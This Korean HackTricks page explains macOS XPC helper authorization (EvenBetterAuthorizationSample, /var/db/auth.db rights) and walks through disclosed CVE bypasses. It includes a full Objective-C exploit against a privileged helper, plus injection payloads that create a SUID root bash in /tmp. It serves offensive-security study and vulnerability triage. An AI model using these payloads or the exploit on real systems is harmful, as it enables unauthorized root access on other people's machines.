macOS XPC 권한
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
XPC 권한
Apple은 연결 프로세스가 노출된 XPC 메서드를 호출할 권한이 있는지에 따라 인증하는 또 다른 방법도 제안한다.
애플리케이션이 특권 사용자로서 작업을 실행해야 할 경우, 애플리케이션 자체를 특권 사용자로 실행하는 대신 보통 root로 HelperTool을 XPC 서비스로 설치하고 앱에서 해당 서비스를 호출하여 그 작업을 수행한다. 그러나 서비스를 호출하는 앱은 충분한 권한을 가져야 한다.
ShouldAcceptNewConnection 항상 YES
예제는 EvenBetterAuthorizationSample에서 확인할 수 있다. App/AppDelegate.m에서는 연결하여 HelperTool을 호출하려고 시도한다. 그리고 HelperTool/HelperTool.m에서는 함수 **shouldAcceptNewConnection**가 앞서 언급한 요구사항을 전혀 검사하지 않는다. 이 함수는 항상 YES를 반환한다:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
For more information about how to properly configure this check:
macOS XPC Connecting Process Check
애플리케이션 권한
하지만 HelperTool의 메서드가 호출될 때 일부 authorization 처리가 이루어진다.
App/AppDelegate.m의 함수 **applicationDidFinishLaunching**는 앱이 시작된 후 빈 authorization reference를 생성한다. 이는 항상 작동해야 한다.
그다음 setupAuthorizationRights를 호출하여 해당 authorization reference에 몇 가지 권한을 추가하려고 시도한다:
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);
// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).
if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}
[self.window makeKeyAndOrderFront:self];
}
Common/Common.m에 있는 setupAuthorizationRights 함수는 auth 데이터베이스 /var/db/auth.db에 애플리케이션의 권한을 저장합니다. 데이터베이스에 아직 없는 권한만 추가한다는 점에 주목하세요:
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus blockErr;
// First get the right. If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef, // authRef
[authRightName UTF8String], // rightName
(__bridge CFTypeRef) authRightDefault, // rightDefinition
(__bridge CFStringRef) authRightDesc, // descriptionKey
NULL, // bundle (NULL implies main bundle)
CFSTR("Common") // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run. Either way, there's nothing more for
// us to do.
}
}];
}
함수 enumerateRightsUsingBlock는 commandInfo에 정의된 애플리케이션 권한을 가져오는 데 사용됩니다:
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary * sCommandInfo;
dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}
+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary * commandDict;
NSString * authRightName;
id authRightDefault;
NSString * authRightDesc;
// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.
commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);
block(authRightName, authRightDefault, authRightDesc);
}];
}
이는 이 과정이 끝나면 commandInfo 내에 선언된 권한들이 /var/db/auth.db에 저장된다는 뜻입니다. 거기에서 인증이 필요한 각 메서드에 대해 권한 이름과 **kCommandKeyAuthRightDefault**를 확인할 수 있습니다. 후자는 누가 이 권한을 얻을 수 있는지를 나타냅니다.
누가 권한에 접근할 수 있는지 나타내는 여러 스코프가 있습니다. 일부는 AuthorizationDB.h에 정의되어 있고 (모두는 여기에서 확인할 수 있습니다), 요약하면:
| 이름 | 값 | 설명 |
|---|---|---|
| kAuthorizationRuleClassAllow | allow | 누구나 |
| kAuthorizationRuleClassDeny | deny | 아무도 |
| kAuthorizationRuleIsAdmin | is-admin | 현재 사용자가 admin 그룹에 속한 관리자여야 함 |
| kAuthorizationRuleAuthenticateAsSessionUser | authenticate-session-owner | 사용자에게 인증을 요구함. |
| kAuthorizationRuleAuthenticateAsAdmin | authenticate-admin | 사용자에게 인증을 요구함. 사용자는 admin 그룹에 속한 관리자여야 함 |
| kAuthorizationRightRule | rule | 규칙을 지정함 |
| kAuthorizationComment | comment | 권한에 대한 추가 설명을 지정 |
권한 검증
In HelperTool/HelperTool.m the function readLicenseKeyAuthorization checks if the caller is authorized to execute such method calling the function checkAuthorization. This function will check the authData sent by the calling process has a correct format and then will check what is needed to get the right to call the specific method. If all goes good the returned error will be nil:
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]
// First check that authData looks reasonable.
error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}
// Create an authorization ref from that the external form data contained within.
if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
// Authorize the right associated with the command.
if (err == errAuthorizationSuccess) {
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights = { 1, &oneRight };
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);
err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}
if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}
return error;
}
Note that to 권한을 얻기 위한 요구사항을 확인하기 위해 해당 메서드를 호출하는 함수 authorizationRightForCommand는 앞서 언급한 객체 **commandInfo**만 확인합니다. 그런 다음, 해당 함수를 호출할 권한이 있는지 확인하기 위해 **AuthorizationCopyRights**를 호출합니다 (플래그가 사용자와의 상호작용을 허용한다는 점에 유의).
In this case, to call the function readLicenseKeyAuthorization the kCommandKeyAuthRightDefault is defined to @kAuthorizationRuleClassAllow. So 누구나 호출할 수 있습니다.
DB 정보
이 정보는 /var/db/auth.db에 저장되어 있다고 언급했습니다. 저장된 모든 규칙은 다음 명령으로 나열할 수 있습니다:
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
그런 다음, 다음을 통해 누가 해당 권한에 접근할 수 있는지 확인할 수 있습니다:
security authorizationdb read com.apple.safaridriver.allow
관대 권한
모든 권한 구성은 in here에서 확인할 수 있지만, 사용자 상호작용이 필요하지 않은 조합은 다음과 같습니다:
- ‘authenticate-user’: ‘false’
- 가장 직접적인 키입니다.
false로 설정되면 사용자가 이 권한을 얻기 위해 인증을 제공할 필요가 없음을 지정합니다. - 이는 아래 두 항목 중 하나와의 조합 또는 사용자가 속해야 하는 그룹을 지정하는 데 사용됩니다.
- ‘allow-root’: ‘true’
- 사용자가 root 사용자(권한이 상승된 사용자)로 동작 중이고 해당 키가
true로 설정되어 있으면 root 사용자는 추가 인증 없이 이 권한을 얻을 수 있습니다. 하지만 일반적으로 root 상태에 도달하려면 이미 인증이 필요하므로 대부분의 사용자에게는 ‘인증 없음’ 시나리오는 아닙니다.
- ‘session-owner’: ‘true’
true로 설정되면 세션 소유자(현재 로그인한 사용자)가 자동으로 이 권한을 얻습니다. 사용자가 이미 로그인한 상태라면 추가 인증을 우회할 수 있습니다.
- ‘shared’: ‘true’
- 이 키는 인증 없이 권한을 부여하지 않습니다. 대신
true로 설정되면 일단 권한이 인증되면 각 프로세스가 다시 인증할 필요 없이 여러 프로세스 간에 해당 권한을 공유할 수 있다는 의미입니다. 그러나 초기 권한 부여는 여전히 인증이 필요하며,'authenticate-user': 'false'같은 다른 키와 결합된 경우에만 예외가 됩니다.
흥미로운 권한을 얻으려면 use this script를 사용할 수 있습니다:
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
Authorization Bypass 사례 연구
- CVE-2025-65842 – Acustica Audio Aquarius HelperTool: 특권을 가진 Mach 서비스
com.acustica.HelperTool는 모든 연결을 수락하며, 그checkAuthorization:루틴은AuthorizationCopyRights(NULL, …)를 호출하므로 어떤 32‑byte blob이라도 통과합니다.executeCommand:authorization:withReply:는 그 후 공격자가 제어하는 쉼표로 구분된 문자열을 루트 권한으로NSTask에 전달하여 다음과 같은 페이로드를 만듭니다:
"/bin/sh,-c,cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
쉽게 SUID root shell을 생성할 수 있다. 자세한 내용은 this write-up.
- CVE-2025-55076 – Plugin Alliance InstallationHelper: 리스너는 항상 YES를 반환하며 동일한 NULL
AuthorizationCopyRights패턴이checkAuthorization:에 나타난다. 메서드exchangeAppWithReply:는 공격자 입력을system()문자열에 두 번 이어붙이므로,appPath에 쉘 메타문자(예:"/Applications/Test.app";chmod 4755 /tmp/rootbash;)를 주입하면 Mach 서비스com.plugin-alliance.pa-installationhelper를 통해 루트 코드 실행을 유발한다. More info here. - CVE-2024-4395 – Jamf Compliance Editor helper: 감사를 실행하면
/Library/LaunchDaemons/com.jamf.complianceeditor.helper.plist가 생성되고 Mach 서비스com.jamf.complianceeditor.helper가 노출되며, 호출자의AuthorizationExternalForm또는 코드 서명을 검증하지 않고-executeScriptAt:arguments:then:를 익스포트한다. 단순한 익스플로잇은AuthorizationCreate로 빈 레퍼런스를 만들고[[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged]로 연결한 뒤 해당 메서드를 호출해 임의의 바이너리를 루트로 실행한다. Full reversing notes (plus PoC) in Mykola Grymalyuk’s write-up. - CVE-2025-25251 – FortiClient Mac helper: FortiClient Mac 7.0.0–7.0.14, 7.2.0–7.2.8 and 7.4.0–7.4.2는 권한 검사(authorization gates)가 없는 privileged helper에 도달하는 조작된 XPC 메시지를 수락했다. 해당 helper가 자체의 privileged
AuthorizationRef를 신뢰했기 때문에, 서비스를 메시지할 수 있는 로컬 사용자는 이를 강제로 루트 권한으로 임의의 구성 변경이나 명령을 실행하게 할 수 있었다. 자세한 내용은 SentinelOne’s advisory summary 참조.
빠른 트리아지 팁
- 앱이 GUI와 helper를 함께 배포할 때, 두 구성요소의 코드 요구사항(code requirements)을 비교(diff)하고
shouldAcceptNewConnection이 리스너를-setCodeSigningRequirement:로 잠그는지(또는SecCodeCopySigningInformation을 검증하는지) 확인하라. 검증 누락은 Jamf 사례처럼 보통 CWE-863 시나리오를 초래한다. 빠른 확인은 다음과 같다:
codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app
- helper가 승인한다고 생각하는 것과 client가 제공하는 것을 비교하세요. 역분석할 때
AuthorizationCopyRights에서 중단하고AuthorizationRef가 helper의 자체 권한 컨텍스트 대신 클라이언트가 제공한AuthorizationCreateFromExternalForm에서 기인했는지 확인하세요. 그렇지 않으면 위 사례들과 유사한 CWE-863 패턴을 발견한 것일 가능성이 큽니다.
권한 리버싱
EvenBetterAuthorization 사용 확인
다음 함수를 찾으면: [HelperTool checkAuthorization:command:] 해당 프로세스는 앞서 언급한 권한 스키마를 사용하는 것일 가능성이 큽니다:
.png)
이 함수가 AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree 같은 함수를 호출한다면, EvenBetterAuthorizationSample를 사용하고 있는 것입니다.
**/var/db/auth.db**를 확인하여 사용자 상호작용 없이 권한이 필요한 작업을 호출할 권한을 얻을 수 있는지 확인하세요.
프로토콜 통신
그런 다음 XPC 서비스와 통신을 수립할 수 있도록 프로토콜 스키마를 찾아야 합니다.
함수 **shouldAcceptNewConnection**는 내보내는 프로토콜을 나타냅니다:
.png)
이 경우 EvenBetterAuthorizationSample과 동일합니다, check this line.
사용되는 프로토콜 이름을 알면 다음으로 헤더 정의를 덤프할 수 있습니다:
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]
마지막으로, 해당 Mach Service와 통신을 설정하려면 노출된 Mach Service의 이름만 알면 됩니다. 이를 찾는 방법은 여러 가지가 있습니다:
- **
[HelperTool init]**에서 Mach Service가 사용되는 것을 확인할 수 있습니다:
.png)
- launchd plist에서:
cat /Library/LaunchDaemons/com.example.HelperTool.plist
[...]
<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]
Exploit 예제
이 예제에서는 다음을 생성합니다:
- 함수들이 포함된 프로토콜 정의
- 액세스를 요청하기 위해 사용할 빈 auth
- XPC 서비스에 대한 연결
- 연결이 성공하면 함수 호출
// gcc -framework Foundation -framework Security expl.m -o expl
#import <Foundation/Foundation.h>
#import <Security/Security.h>
// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";
// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end
int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;
// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);
// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];
// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];
// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);
// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];
// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"Finished!");
}
악용된 다른 XPC 권한 헬퍼
참고자료
- https://theevilbit.github.io/posts/secure_coding_xpc_part1/
- https://khronokernel.com/macos/2024/05/01/CVE-2024-4395.html
- https://www.sentinelone.com/vulnerability-database/cve-2025-25251/
- https://almightysec.com/helpertool-xpc-service-local-privilege-escalation/
- https://almightysec.com/Plugin-Alliance-HelperTool-XPC-Service-Local-Privilege-Escalation/
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


